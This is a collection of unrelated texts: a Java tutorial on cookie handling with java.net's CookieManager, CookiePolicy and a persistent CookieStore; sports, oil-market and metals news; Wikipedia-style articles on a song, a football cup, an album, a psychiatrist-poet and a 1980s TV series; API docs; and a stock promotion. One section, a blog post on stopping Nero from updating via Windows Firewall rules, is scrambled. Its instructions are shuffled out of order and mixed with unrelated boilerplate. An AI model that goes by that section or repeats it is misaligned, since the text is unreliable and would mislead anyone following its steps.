The Java platform ships with built-in networking support, bundled up in the java.net package:
import java.net.*;
2. HTTP Cookies
Whenever a client sends an HTTP request to a server and receives a response for it, the server forgets about this client. The next time the client requests again, it will be seen as a totally new client.
However, cookies, as we know, make it possible to establish a session between the client and server such that the server can remember the client across multiple request response pairs.
From this section henceforth, we will learn how to use cookies to enhance our client-server communications in Java network programming.
The main class in the java.net package for handling cookies is CookieHandler. There are other helper classes and interfaces such as CookieManager, CookiePolicy, CookieStore, and HttpCookie.
3. The CookieHandler Class
Consider this scenario; we are communicating with the server at http://baeldung.com, or any other URL that uses HTTP protocol, the URL object will be using an engine called the HTTP protocol handler.
This HTTP protocol handler checks if there is a default CookieHandler instance in the system. If there is, it invokes it to take charge of state management.
So the CookieHandler class has a purpose of providing a callback mechanism for the benefit of the HTTP protocol handler.
CookieHandler is an abstract class. It has a static getDefault() method that can be called to retrieve the current
CookieHandler installation or we can call setDefault(CookieHandler) to set our own. Note that calling setDefault installs a CookieHandler object on a system-wide basis.
It also has put(uri, responseHeaders) for saving any cookies to the cookie store. These cookies are retrieved from the response headers of the HTTP response from the given URI. It’s called every time a response is received.
A related API method – get(uri,requestHeaders) retrieves the cookies saved under the given URI and adds them to the requetHeaders. It’s called just before a request is made.
These methods must all be implemented in a concrete class of CookieHandler. At this point, the CookieManager class is worth our attention. This class offers a complete implementation of CookieHandler class for most common use cases.
In the next two sections, we are going to explore the CookieManager class; first in its default mode and later in custom mode.
4. The Default CookieManager
To have a complete cookie management framework, we need to have implementations of CookiePolicy and CookieStore.
CookiePolicy establishes the rules for accepting and rejecting cookies. We can of course change these rules to suit our needs.
Next – CookieStore does exactly what it’s name suggests, it has methods for saving and retrieving cookies. Naturally we can tweak the storage mechanism here as well if we need to.
Let’s first look at the defaults. To create the default CookieHandler and set it as the system-wide default:
CookieManager cm = new CookieManager();
CookieHandler.setDefault(cm);
We should note that the default CookieStore will have volatile memory i.e. it only lives for the lifetime of the JVM. To have a more persistent storage for cookies, we must customize it.
When it comes to CookiePolicy, the default implementation is CookiePolicy.ACCEPT_ORIGINAL_SERVER. This means that if the response is received through a proxy server, then the cookie will be rejected.
5. A Custom CookieManager
Let’s now customize the default CookieManager by providing our own instance of CookiePolicy or CookieStore (or both).
5.1. CookiePolicy
CookiePolicy provides some pre-defined implementations for convenience:
• CookiePolicy.ACCEPT_ORIGINAL_SERVER – only cookies from the original server can be saved (the default implementation)
• CookiePolicy.ACCEPT_ALL – all cookies can be saved regardless of their origin
• CookiePolicy.ACCEPT_NONE – no cookies can be saved
To simply change the current CookiePolicy without implementing our own, we call the setCookiePolicy on the CookieManager instance:
CookieManager cm=new CookieManager();
cm.setCookiePolicy(CookiePolicy.ACCEPT_ALL);
But we can do a lot more customization than this. Knowing the behavior of CookiePolicy.ACCEPT_ORIGINAL_SERVER, let’s assume we trust a particular proxy server and would like to accept cookies from it on top of the original server.
We’ll have to implement the CookiePolicy interface and implement the shouldAccept method; it’s here where we’ll change the acceptance rule by adding the chosen proxy server’s domain name.
Let’s call the new policy – ProxyAcceptCookiePolicy. It will basically reject any other proxy server from its shouldAccept implementation apart from the given proxy address, then call the shouldAccept method of the CookiePolicy.ACCEPT_ORIGINAL_SERVER to complete the implementation:
public class ProxyAcceptCookiePolicy implements CookiePolicy {
private String acceptedProxy;
public boolean shouldAccept(URI uri, HttpCookie cookie) {
String host = InetAddress.getByName(uri.getHost())
.getCanonicalHostName();
if (!HttpCookie.domainMatches(acceptedProxy, host)) {
return false;
}
return CookiePolicy.ACCEPT_ORIGINAL_SERVER
.shouldAccept(uri, cookie);
}
// standard constructors
}
When we create an instance of ProxyAcceptCookiePolicy, we pass in a String of the domain address we would like to accept cookies from in addition to the original server.
We then set this instance as the cookie policy of the CookieManager instance before setting it as the default CookieHandler:
CookieManager cm = new CookieManager();
cm.setCookiePolicy(new ProxyAcceptCookiePolicy("baeldung.com"));
CookieHandler.setDefault(cm);
This way the cookie handler will accept all cookies from the original server and also those from http://www.baeldung.com.
5.2. CookieStore
CookieManager adds the cookies to the CookieStore for every HTTP response and retrieves cookies from the CookieStore for every HTTP request.
The default CookieStore implementation does not have persistence, it rather loses all it’s data when the JVM is restarted. More like RAM in a computer.
So if we would like our CookieStore implementation to behave like the hard disk and retain the cookies across JVM restarts, we must customize it’s storage and retrieval mechanism.
One thing to note is that we cannot pass a CookieStore instance to CookieManager after creation. Our only option is to pass it during the creation of CookieManager or obtain a reference to the default instance by calling new CookieManager().getCookieStore() and complementing its behavior.
Here is the implementation of PersistentCookieStore:
public class PersistentCookieStore implements CookieStore, Runnable {
private CookieStore store;
public PersistentCookieStore() {
store = new CookieManager().getCookieStore();
// deserialize cookies into store
Runtime.getRuntime().addShutdownHook(new Thread(this));
}
@Override
public void run() {
// serialize cookies to persistent storage
}
@Override
public void add(URI uri, HttpCookie cookie) {
store.add(uri, cookie);
}
// delegate all implementations to store object like above
}
Notice that we retrieved a reference to the default implementation in the constructor.
We implement runnable so that we can add a shutdown hook that runs when the JVM is shutting down. Inside the run method, we persist all our cookies into memory.
We can serialize the data into a file or any suitable storage. Notice also that inside the constructor, we first read all cookies from persistent memory into the CookieStore. These two simple features make the default CookieStore essentially persistent (in a simplistic way).
6. Conclusion
In this tutorial, we covered HTTP cookies and showed how to access and manipulate them programmatically.
The full source code for the article and all code snippets can be found in the GitHub project.
I just announced the new Spring Boot 2 material, coming in REST With Spring:
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ESSENTIALAI-STEM
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Comin' Thro' the Rye (attr. Burns)
* "Comin' thro' the rye", Burns version, in The Book of Scottish Song (1843).
* "Comin' thro' the rye", "modern theatrical version", in The Book of Scottish Song (1843).
* "Comin' Thro' the Rye", Burns version, in The Merry Muses of Caledonia (1911).
* "Comin' Thro' The Rye" in The Canadian Soldiers' Song Book (1917).
* "Comin' Through the Rye", unidentified version
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1888–89 Scottish Cup
The 1888–89 Scottish Cup was the 16th season of Scotland's most prestigious football knockout competition. 3rd Lanark RV beat Glasgow rivals Celtic (making their Cup début) 2–1 in a replayed final. The original match was won 3–0 by 3rd Lanark RV but the SFA ordered a replay due to the playing conditions.
Teams
All 166 teams entered the competition in the first round.
Renfrewshire district
1st Renfrew RV received a bye to the second round.
Dunbartonshire district
Vale of Leven received a bye to the second round.
Edinburghshire district
Broxburn received a bye to the second round.
Lanarkshire district
Uddingston received a bye to the second round.
Northern Counties
Broughty received a bye to the second round.
Glasgow and District
Glasgow University received a bye to the second round.
Edinburghshire district
* Notes
Sources:
Ayrshire district
Irvine received a bye to the third round.
Lanarkshire district
Cambuslang Hibernian received a bye to the third round.
Glasgow and District
Glasgow University received a bye to the third round.
Edinburghshire district
Armadale received a bye to the third round.
Fife district
Kirkaldy Wanderers received a bye to the third round.
Dunbartonshire district
Dumbarton received a bye to the third round.
Perthshire district
Dunblane received a bye to the third round.
Ayrshire district
* Notes
Sources:
Glasgow, Lanarkshire and Dunbartonshire district
Methlan Park received a bye to the fourth round.
East of Scotland and Fife
Dunfermline Athletic received a bye to the fourth round.
Stirlingshire and Argyll district
Oban received a bye to the fourth round.
Northern Counties
Fair City Athletic received a bye to the fourth round.
Northern Counties
* Notes
Sources:
Replay
Sources:
Fifth round
Campsie, Dumbarton Athletic and East Stirlingshire each received a bye to the quarter-finals.
Third replay
* Notes
Sources:
Second replay
Sources:
Matches
Sources:
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Stop nero from updating
Posted by / 16-Mar-2020 13:54
In our case it looks like this: It’s possible this is some quirk isolated to the current version of the Windows 10 firewall, and that you can use environmental variables in other versions, but we’d encourage you to just remove the variable and use the full and absolute file path to save yourself a headache today and down the road.Finally, there’s one small but important thing to keep in mind here. That’s atypical, though, as most applications can be blocked through the main executable.For most applications, the main EXE file is the one you want to block, but there are examples of applications where things are a bit counter-intuitive. At any rate, once you’ve selected your application and confirmed the path, you can finally click that “Next” button.On the “Action” screen of the wizard, select the “Block the connection” option, and then click “Next.” On the “Profile” screen, you’re asked to select when the rule applies.wiki How is a “wiki,” similar to Wikipedia, which means that many of our articles are co-written by multiple authors.
On the “Program” screen, select the “This program path” option, and then type (or browse for) the path to the program you want to block. When you use the “Browse” command to select an EXE file, Windows defaults to using what are known as environmental variables if the particular path includes a given path portion represented by one of those variables.To do so navigate to the Control Panel and select “Windows Firewall.” In the “Windows Firewall” window, click the “Advanced Settings” link on the left.Note: There is going on in the advanced interface and we encourage you follow along closely, leaving anything outside the scope of the tutorial and your experience level alone.But, it does serve as a useful example, because we can immediately and clearly demonstrate that the firewall rule is in effect.I've had 2012 installed on Win 10 but upgraded to the latest version.
stop nero from updating-2stop nero from updating-68stop nero from updating-10
One thought on “stop nero from updating”
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ESSENTIALAI-STEM
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Bernhard Langer Takes Aim at a Senior Major Sweep
BENTON HARBOR, Mich. — Fresh off a landmark victory, Bernhard Langer will try to enter a league of his own at the Senior P.G.A. Championship. Langer is coming off the 100th victory of his career — at a major, no less — having won the Regions Tradition in Alabama. It was his sixth major championship as a senior, and he became the second player, after Jack Nicklaus, to have won four different majors on the senior tour, now known as the PGA Tour Champions. Nicklaus was the first to win the Senior Grand Slam — it took him all of two years to win the four after he turned 50 in 1990 — but he had largely retired by the time the Senior British Open was added to the major rotation. Nicklaus played that event as a major only once, in its first year, 2003. Langer is going for an unprecedented sweep of all five senior majors as the Senior P.G.A. begins Thursday at Harbor Shores. “It’s huge in a sense that nobody’s ever done it before,” Langer said. “We have had many, many great players and illustrious careers, and they haven’t.” He added: “Nobody’s ever done it. So it’s a challenge. And I like challenges. I like to set goals, and I wasn’t even aware of that until last week. So this is a new goal of mine, and it’s fun. It’s fun to look forward to doing something that is unusual.” Langer, 58, contended the last two times the Senior P.G.A. was at the Nicklaus-designed Harbor Shores, in 2012 and 2014, and he figures to be one of the favorites based on his play this year. He has already won twice and leads the money list. Winning back-to-back major titles is difficult enough. Langer is faced with winning back-to-back majors in successive weeks. Under the PGA Tour Champions schedule, three major tournaments are held in a four-week stretch, with the Senior Players Championship two weeks from now. Then again, Langer has done this before. Six years ago, he won the Senior British Open at Carnoustie and then traveled across eight time zones and won the United States Senior Open at Sahalee outside Seattle. “That’s hard to do because your body is worn out, and we’re wearing out faster in our 50s than the 20- or 30-year-olds do,” Langer said. “And they don’t have back-to-back majors. You learn how to manage your time and your lifestyle and what you need to do to prepare, and some prepare more, some prepare less. I feel I’m well prepared. I do what I need to do, and hopefully I’m not going to be tired come Saturday or Sunday.” John Daly will play his second of what could be seven majors this year on both tours — he is exempt into the P.G.A. Championship and the British Open as a past champion. Daly has failed to seriously contend in his two PGA Tour Champions events since turning 50. He has tied for 15th and 17th in his two tournaments, although Daly said he was still shaking off rust from not playing much before he turned 50. “I’m not expecting a lot this week,” he said. “I would love to play great this week, but as long as I keep making a lot of birdies, for me that’s the key. Because I know I’m going to make mistakes; I know I’m going to make doubles right now. It’s just trying to not make so many of them until I got my game where I want it.” Colin Montgomerie is the two-time defending champion. For years, Montgomerie was viewed as being one of the best Wednesday interviews in golf, and this Wednesday was no exception. Going for his third straight title in the seniors’ oldest championship, Montgomerie was asked if he had ever won a tournament three times in a row. “Just the P.G.A.,” he replied. Montgomerie never won the P.G.A. Championship, or any regular major, so the question was posed again. “Just the P.G.A. at Wentworth,” he said, referring to the European Tour’s flagship event. “That was all. It wasn’t such a big deal, really. Beat Ernie Els again in 1998. And then I won in ’99 and 2000. So yes, I’ve won one tournament three times in a row, the P.G.A. And I’m looking at this P.G.A. here. So let’s hope there’s fate involved.”
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Oil prices jump after Saudi Arabia reports drone attack on pumping stations
New York (CNN Business)Oil prices climbed on Tuesday after Saudi Arabia reported "armed drones" attacked two pumping stations in the kingdom, underscoring rising tensions in the Middle East. US oil prices rose 1.4% even though Saudi Aramco told CNN that the attack caused "no damage to oil production, no oil spills or injuries." Brent crude, the global benchmark, jumped 1.6%. The Saudi Energy Ministry told the kingdom's state-run press agency that the attack caused a fire that has since been contained. The apparent drone attack comes just a day after Saudi Arabia said two of its oil tankers were sabotaged off the coast of the United Arab Emirates. Normally such threats to the Middle East's oil supplies would have a more pronounced impact to oil prices. But the gains have been muted by global fears about the deepening US-China trade war. The Dow plunged 617 points, or 2.4%, on Monday after China retaliated against tariffs that the United States announced last week. The escalating trade war threatens to slow the global economy, eating into demand for crude oil. Tensions have been rising in the Middle East, in large part because of intensifying rhetoric between the United States and Iran. Saudi Aramco, the kingdom's state-owned oil company, told CNN that the drone attack targeted two pumping stations located between Riyadh in the east and Yanbu in the west. Only one of the pumping stations suffered "minor damage," Aramco said. Attacks on oil infrastructure happen occasionally and the impact tends to be brief so long as supply is not impacted. On Monday, the UAE described a "sabotage attack" against tankers. There were no injuries in that apparent attack and officials did not specify the nature of the incident nor who they believed carried it out. Last week, the United States announced the deployment of the USS Abraham Lincoln aircraft carrier to the Middle East due to threats from Iran and its proxies. David Petraeus, formerly America's top general in the Middle East, told CNN Business last week that he's concerned about the United States "inadvertently ending up in some kind of clash" with militias trained and funded by Iran. "That could escalate and get out of hand," Petraeus said. CNN's John Defterios contributed to this report
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Souvenir (Miranda! album)
Souvenir is the eighth studio album by Argentine band Miranda!. Originally planned to be released in 2020 and postponed due to the COVID-19 pandemic, it was released on May 7, 2021, by Sony Music. The album was primarily written and produced by Alejandro Sergi and Cachorro López, with further collaboration with Gabriel Lucena. Guest vocals include Spanish band Sidonie and Chilean musician Javiera Mena.
Six singles were released from the album: "Me Gustas Tanto", "Un Tiempo", "Casi Feliz", "Luna De Papel", "Entre Las Dos", and "Por Amar Al Amor".
Background and release
Months after the release of the band's seventh album, Fuerte (2017), they began working on new songs. "Me Gustas Tanto" and "Un Tiempo" were released as singles in July and December 2019 respectively. The as-yet-unnamed album was initially slated for a mid-2020 release, but after the arrival of the COVID-19 pandemic in Argentina, it ended up being postponed to next year, 2021.
On May 1, 2020, the song "Casi Feliz" was released, which was composed to be the theme song for the Netflix series of the same name, starring Sebastián Wainraich and Natalie Pérez. The songs "Luna De Papel" and "Entre Las Dos" were released in August and December of that same year respectively.
"Por Amar Al Amor" was released as the sixth and last single of the album on March 19, 2021. The release date of Souvenir along with its cover art, was announced on April 28, 2021. For the release of the album, an audiovisual showcase was also shared via streaming, in which they presented four songs from the album in a unique format: "Por Amar Al Amor", "Caía La Noche", "Que No Pare" and "Me Gustas Mucho".
Lyrics and composition
Souvenir is primarily a pop and electropop record, with elements from various musical styles, such as house, dancehall, disco, synth-pop and dub. Through a press release, the singer Alejandro Sergi defined Souvenir as "the beginning of Miranda!'s third life". About the album, he commented that "it is not a return to the beginnings of the band", but a "review of their entire career", where they sought to "do what they always have, but better". He added that it is basically instrumented with machines and software, a few acoustic drums and guitars, "the rest is pure synth, sampling and digital processes". As for the lyrics, the album covers the usual themes, but from a more reflective and less impulsive point of view.
Critical reception
Shangay's writer Agustín Gómez Cascales praised Souvenir for "its luminosity" and for "the strength of its choruses", and described it as a "new delivery of bubbly and exquisite pop". He gave the album 4 stars out of 5.
Credits and personnel
Adapted from the album liner notes.
* Alejandro Sergi – lead vocals, production, composition, keyboards, guitar, programming
* Juliana Gattas – lead vocals, composition (2, 4, 6, 9)
* Sindonie – lead vocals (3)
* Javiera Mena – lead vocals (4), programming (4), composition (4)
* Gabriel Lucena – bass (4), programming (9), keyboard (9), composition (9), production (9)
* Ludo Morrel – drums (10)
* Cachorro López – programming (1, 2, 4, 5, 6, 8, 9), keyboards (1, 2, 4, 5, 6, 8, 9), production
* Sebastián Schon – programming (2, 4, 6, 7), keyboards (2, 4, 6, 7)
* Demian Nava – programming (1, 2, 4, 5, 6, 9), keyboards (1, 2, 4, 5, 6, 9)
* César Sogbe – mixing
* Brad Blackwood – mastering
* Alejandro Ros – graphic design
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Wikipedia:Sockpuppet investigations/Darkness Shines/Archive
16 May 2014
* Suspected sockpuppets
* User compare report Auto-generated every hour.
* Editor interaction utility
This diff in my TP was quickly followed by that one. Looks very much like someone who has messed up with his multiple accounts. - TwoHorned User_talk:TwoHorned 17:40, 16 May 2014 (UTC)
Comments by other users
@TwoHorned FYI DS requested a CU check against Calypsomusic some days ago here and the diffs you point to is a simple mistake by Calypsomusic who copied contents of this section from his/her own talkpage and pasted on your talk page, and later corrected this mistake. So nothing here proves a similarity between the two users. -- S M S Talk 17:59, 16 May 2014 (UTC)
* OK thanks, sorry for that. - TwoHorned User_talk:TwoHorned 20:14, 16 May 2014 (UTC)
Clerk, CheckUser, and/or patrolling admin comments
* closing without action based on comments and diffs above. —Darkwind (talk) 11:09, 19 May 2014 (UTC)
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Platts to launch 'green' aluminium prices in April
LONDON, March 5 (Reuters) - Platts will launch price assessments in April for 'green' aluminium, which is made using process that cut carbon emissions, the pricing agency said on Friday.
The metals sector has struggled with adopting common standards for low-carbon aluminium as rival producers fight for market share among consumers who are under pressure to cut their own emissions footprints.
The London Metal Exchange, the world's biggest industrial metals market, has rejected calls to create a separate contract for low-carbon aluminium and instead plans to create a digital register this year to store carbon details and an online platform for trading.
S&P Global Platts said it would start issuing daily prices for both low-carbon and zero-carbon aluminium on April 6.
Most large aluminium groups have launched products with lower-carbon footprints, mostly using hydro power, but each uses different standards.
Platts said its low-carbon aluminium price would apply to primary aluminium with maximum emissions at the smelter of four tonnes of carbon dioxide per tonne of metal.
"While Platts is initially providing new low-carbon pricing focused on aluminium, we also plan to launch additional price and cost references throughout the metals and raw materials value chains," said Ian Dudden, global pricing director for metals and agriculture.
Aluminium, which requires huge amounts of power to smelt, is one of the most carbon-intensive metals, emitting an average of 16.5 tonnes of CO2 per tonne of production. In contrast steel processing, while a much bigger polluter overall, emits just 2.3 tonnes per tonne.
(Reporting by Eric Onstad; Editing by Edmund Blair)
((eric.onstad@thomsonreuters.com; +44 20 7542 7093; Twitter https://twitter.com/reutersEricO; Reuters Messaging: eric.onstad.thomsonreuters.com@reuters.net))
The views and opinions expressed herein are the views and opinions of the author and do not necessarily reflect those of Nasdaq, Inc.
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User:Tkjelsrud
Hello, I'm Thomas Kjelsrud (www.thomasweb.no, www.thingsontop.com)
Search Technology enthusiast. Certified FAST (Microsoft) developer on their Enterprise Search Platform. Currently Project Manager on search within NHST Media Group (Norway). Previously Senior Consultant (Comperio, Platinum FAST Partner, Norway) and Developer (IntelliSearch, Norway)
My aims in to contribute on aspects around Search Technology and Information Retrieval.
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WIKI
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Namespaces
Types in MathNet.Numerics.LinearAlgebra.Solvers
Type Iterator<T>
Namespace MathNet.Numerics.LinearAlgebra.Solvers
An iterator that is used to check if an iterative calculation should continue or stop.
Constructors
Methods
Properties
Public Constructors
Iterator<T>()
Initializes a new instance of the Iterator<T> class with the default stop criteria.
Iterator<T>(IIterationStopCriterion`1[] stopCriteria)
Iterator<T>(IEnumerable<IIterationStopCriterion<T>> stopCriteria)
Initializes a new instance of the Iterator<T> class with the specified stop criteria.
Parameters
IEnumerable<IIterationStopCriterion<T>> stopCriteria
The specified stop criteria. Only one stop criterion of each type can be passed in. None of the stop criteria will be passed on to child iterators.
Public Methods
void Cancel()
Indicates to the iterator that the iterative process has been cancelled.
Does not reset the stop-criteria.
Iterator<T> Clone()
Creates a deep clone of the current iterator.
Return
Iterator<T>
The deep clone of the current iterator.
IterationStatus DetermineStatus(int iterationNumber, Vector<T> solutionVector, Vector<T> sourceVector, Vector<T> residualVector)
Determines the status of the iterative calculation based on the stop criteria stored by the current Iterator<T>. Result is set into Status field.
The individual iterators may internally track the progress of the calculation based on the invocation of this method. Therefore this method should only be called if the calculation has moved forwards at least one step.
Parameters
int iterationNumber
The number of iterations that have passed so far.
Vector<T> solutionVector
The vector containing the current solution values.
Vector<T> sourceVector
The right hand side vector.
Vector<T> residualVector
The vector containing the current residual vectors.
bool Equals(object obj)
int GetHashCode()
Type GetType()
void Reset()
Resets the Iterator<T> to the pre-calculation state.
string ToString()
Public Properties
IterationStatus Status get;
Gets the current calculation status.
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ESSENTIALAI-STEM
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Deckers’ Subsidiary UGG Releases Its Autumn/Winter 2025 Campaign
Deckers Outdoor Corporation (NYSE:DECK) is one of the 9 Best Footwear Stocks to Buy Now. On August 21, Deckers Outdoor Corporation’s (NYSE:DECK) subsidiary and its global lifestyle brand, UGG, released its Autumn/Winter 2025 campaign.
UGG’s latest campaign, Iconic From the First Step, features creative icons and explores the strong connection between collaboration and the community that lives at the heart of UGG. The campaign reflects the image of UGG and how the brand grew from the beaches of Southern California to become a beloved global fashion icon.
The campaign will also highlight design, style, and feel through UGG brand’s signature codes, including the Twin Seam and Sun Logo. The campaign stars celebrities from various backgrounds, including Sarah Jessica Parker, Stefon Diggs, Jeremy Scott, Elsa Hosk, Alton Mason, Leah Dou, and others. The campaign will be live throughout the season with the launch of exclusive content and captivating storytelling commemorating Iconic Design, Iconic Style, and Iconic Feeling.
As of August 26, Deckers Outdoor Corporation stock has soared by 8.70% since the announcement of the Autumn/Winter 2025 campaign on August 21.
Deckers Outdoor Corporation (NYSE:DECK), together with its subsidiaries, designs and markets footwear, apparel, and accessories for casual lifestyle and high-performance activities.
While we acknowledge the potential of DECK as an investment, we believe certain AI stocks offer greater upside potential and carry less downside risk. If you’re looking for an extremely undervalued AI stock that also stands to benefit significantly from Trump-era tariffs and the onshoring trend, see our free report on the best short-term AI stock.
READ NEXT: 30 Stocks That Should Double in 3 Years and 11 Hidden AI Stocks to Buy Right Now.
Disclosure: None. This article is originally published at Insider Monkey.
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Merrill Moore
Merrill Moore (1903 – 1957) was an American psychiatrist and poet. Born and educated in Tennessee, he was a member of the Fugitives. He taught neurology at the Harvard Medical School and published research about alcoholism. He was the author of many collections of poetry.
Early life
Moore was born in 1903 in Columbia, Tennessee. His father, John Trotwood Moore, was a novelist and local historian who served as the State Librarian and Archivist from 1919 to 1929. His paternal grandfather was a lawyer from Marion, Alabama, who served in the Confederate States Army during the American Civil War.
Moore was educated at Montgomery Bell Academy in Nashville, Tennessee, graduating in 1920. He attended Vanderbilt University, where he became a member of the Sigma Chi fraternity. He also joined the Fugitives, a group of then unknown poets who met to read and criticize each other's poems. He graduated with a bachelor's degree in 1924. He took an M.D. from the Vanderbilt University School of Medicine in 1928. He interned at the Saint Thomas Hospital in Nashville for a year.
Career as a psychiatrist
Moore was a psychiatrist in the Ericksonian tradition. He taught neurology at the Harvard Medical School and the Boston City Hospital. He also conducted research on alcohol and addiction. In a 1937 article published in the New England Journal of Medicine, he argued that alcoholism had become rampant in the United States, and he called for the establishment of special wards for alcoholics in hospitals. Two years later, in the same journal, he argued that the heavier an individual, the less likely they were to feel drunk. By 1943, in the Boston number of the Medical Clinics of North America, he argued that adult neurosis and alcoholism could be prevented if parents ensured children matched the skills of their peers and never "go off the track of normal development". He also published articles in medical journals about "drug addiction, suicide, venereal disease [...], the psychoneurosis of war, migraine headaches." Meanwhile, Moore also treated patients like Robert Frost's daughter, who had paranoia and depression.
During World War II, Moore served as a psychiatrist in the United States Army's Bougainville Campaign as well as in New Zealand. On September 22, 1942, Moore gave a speech about Adolf Hitler's Mein Kampf entitled What Hitler means in "Mein Kampf" at the Fitzsimons Army Medical Center in Aurora, Colorado; a year later, it was reprinted in Military Surgeon. Moore served as Lieutenant-Colonel in Nanking, where he was "director of medical operations". He was the recipient of the Bronze Star Medal for his war service.
After the war, Moore played a key behind-the-scenes role in the Ezra Pound controversy, as a member of a group of literary men who saw to it that the modernist icon escaped a treason trial for his radio propaganda in support of Mussolini. Moore was a close friend of one of the psychiatrists on a diagnostic panel that found Pound unfit to stand trial.
Poetry
Throughout his career Moore produced sonnets in a very high volume. Estimates vary but by 1935, Louis Untermeyer had counted 25,000 sonnets in Moore's files, according to a Time Magazine article that year; just over two years later, a 1938 Talk of the Town piece in the New Yorker put Moore's total production of sonnets at 50,000.
Moore discovered his affinity for the sonnet form while still in secondary school and is said to have learned shorthand during college in order to be able to write more sonnets between classes. Although some of his work, such as the posthumous quatrain collection The Phoenix and the Bees, is in other forms, the poet-psychiatrist wrote and archived his poems in a dedicated home office he called his "sonnetorium." Some of his books, like Case Record from a Sonnetorium or More Clinical Sonnets, were illustrated by Edward Gorey.
It was Moore who put the young Robert Lowell in contact with literary men including Ford Madox Ford, Allen Tate and John Crowe Ransom, and who encouraged Lowell to become a student of Ransom after Lowell's sudden violent break with his family and departure from Harvard.
Personal life and death
Moore married to Ann Leslie Nichol in 1930. Together they had four children: Adam, John, Leslie, and Hester. He published articles about conchology.
Moore died of cancer on September 21, 1957, in Boston, Massachusetts. He was 54.
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WIKI
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The Highwayman (TV series)
The Highwayman is an American action-adventure-themed television series starring Sam J. Jones, set in "the near future." It was created by Glen A. Larson and Douglas Heyes. The pilot aired in September 1987 and was followed by a short-lived series of nine episodes, with significant changes to the cast and format, that ran from March until May 1988. It was summed up by many reviewers as a cross between Mad Max and Knight Rider.
Opening narration by William Conrad (all episodes after the pilot): There is a world, just beyond now, where reality runs a razor-thin seam between fact and possibility; where the laws of the present collide with the crimes of tomorrow. Patrolling these vast outlands is a new breed of lawman, guarding the fringes of society’s frontiers, they are known simply as ‘Highwaymen’... and this is their story...
Synopsis
The movie and subsequent series follow the adventures of "The Highwayman", one of a mysterious group conducting crime-fighting missions and solving bizarre mysteries. Each Highwayman in this group is equipped with a high-tech, multi-function truck.
The pilot movie used a different opening narration voiced by William Conrad:
They say he came into this world from someplace off the clock. And his mother was an ice-cold wind, and his father was a fiery rock. It's told that on some starless nights, his rig could up and glow, And folks who say they saw it coming swear they didn't see it go. Now you hear a lot of legends told when you ride the long, hard slab. From some who say the man is good and some who say he's bad. But all agreed: who've ever tried to play a cheating' hand? You only get one chance to draw against "The Highwayman."
Most crimes in our society begin or end on some stretch of road, where laws often terminate at county lines. Combatting these legal blackouts is a new breed of lawman; working the fringes of society's frontiers, and known simply as Highwaymen. This is the story—and the legend—of one such man: The Highwayman.
The 1987 pilot movie starred Sam J. Jones. The lead character is more mysterious than any of the other Highwaymen in that his real name is never revealed (he is only known as "The Highwayman" or "Highway"). He drives a large, black, computerized truck with a bullet-shaped cabin, which is the nose of a concealed helicopter (an Aérospatiale Gazelle) that can detach from the rest of the truck. The truck can also operate in "stealth mode" to become invisible. A concealed futuristic sports car (a Lotus Esprit) can emerge from the truck's rear. Some elements of the futuristic dashboard design were reused from Knight Rider.
Claudia Christian co-starred as the Highwayman's liaison, Dawn, and Stanford Egi as technical wizard Mr. Toto. The pilot was re titled Terror on the Blacktop when shown as a stand-alone TV movie.
After the 1987 pilot film, only Jones returned for the weekly series. The retooling premises eliminated the truck's stealth mode, which was never mentioned again. The Highwayman was joined by a new sidekick, Australian outback survival expert Jetto, played by Mark "Jacko" Jackson; Jane Badler as the Highwayman's boss, Ms. Tania Winthrop; and Tim Russ as D.C. Montana, who was responsible for the maintenance and modifications to the vehicles. The show was also filmed entirely on location in the American Southwest. Unusually, the show even switched production companies (the pilot was the last co-production between Glen Larson Productions and Twentieth Century Fox Television, the series was independently produced by Larson's New West Entertainment). (The name "D.C. Montana" is a pun on the name of D.C. Fontana, a famed TV scriptwriter who worked on many shows,including Star Trek.)
After Jetto's truck, which was identical to the Highwayman's, was destroyed in the first episode, "Road Ranger", he is given his own, unique truck, the front half of which can separate into a futuristic car. The truck was later used in the first episode of Power Rangers Time Force.
The exact organization that the Highwayman and Jetto work for is never revealed in any great depth.
With much of the series featuring the Highwayman (and/or Jetto) driving their trucks along vast stretches of desert road, there are heavy modern-Western overtones to many episodes. With the hybrid vehicles and weaponry, the ordinary police being unable to deal with many fragments of society, and the overall tone of the series, many of the episodes have a vaguely post-apocalyptic feel to them.
Despite its short run, the series was broadcast in various other countries, including Germany, France, Indonesia, Italy, Mexico, the Philippines, South Africa, Brazil (SBT), the Netherlands, Pakistan (NTM), Peru, Kuwait, Sri Lanka and, the United Kingdom.
The original Highwayman truck (the one with the Gazelle helicopter cab) was designed and built by Jon Ward. It was restored and is currently owned by a mobile tattoo service called 'Highwaymen USA Ink' in Sulphur Springs, Texas USA. Jetto's truck with the detachable Peterbilt tractor was available for sale in North Hollywood, California on eBay as of July, 2023.
Cast
* Sam J. Jones as The Highwayman (a.k.a. "Highway")
* Claudia Christian as Dawn (pilot only)
* Stanford Egi as Mister Toto (pilot only)
* Mark "Jacko" Jackson as "Jetto" (credited on-screen as simply "Jacko")
* Jane Badler as Ms. Tania Winthrop
* Tim Russ as D.C. Montana
* William Conrad as the Narrator (uncredited)
Episodes
Note, one episode was shown out of its intended order. It is listed here in the intended order with explanatory notes.
Production number order, reflecting the order that the episodes began filming, does not match either the actual nor the intended airing order.
Date
The series is at first vague on the exact year that it takes place. Other than Highway and Jetto's trucks, Highway's occasionally seen sports car (a silver Lotus Esprit) and Ms. Badler's car (a red Mark II Toyota MR2), the other vehicles are generally that of the era in which the series was filmed. Many of these vehicles, such as the Ford Motor Co.'s Aerostar minivan, were marketed at the time as having sleek, futuristic designs. It is generally indicated that the series takes place a couple of years after that in which it was made. A coin in the episode "Summer of 45" is said to be dated 1992. It is not until "Warzone" that the date is given on-screen as 1992 (October for that episode).
Weaponry
The firearms carried by the Highwayman and Jetto are larger and more imposing than traditional police sidearms. That carried by the Highwayman appears to be similar to a stockless 12-gauge semi-automatic shotgun with a sawed-off barrel,Benelli M1 Super 90 as used by SWAT teams and some military agencies. In the pilot movie, two sheriff's deputies debate the properties of the Highwayman's sidearm, its power finally demonstrated when a shot accidentally destroys part of the county police station in which the Highwayman is being held. In the episode 'Til Death Duel Us Part', it is revealed that this weapon has selectable 'modes' and is capable of firing both 9mm Parabellum and 20mm high-explosive ammunition. The sidearm carried by Jetto is a stockless, full-length Heckler & Koch MP5 submachine gun.
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WIKI
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Experimenting with Rails’ String Manipulation from ActiveSupport::CoreExtensions::String::Inflections
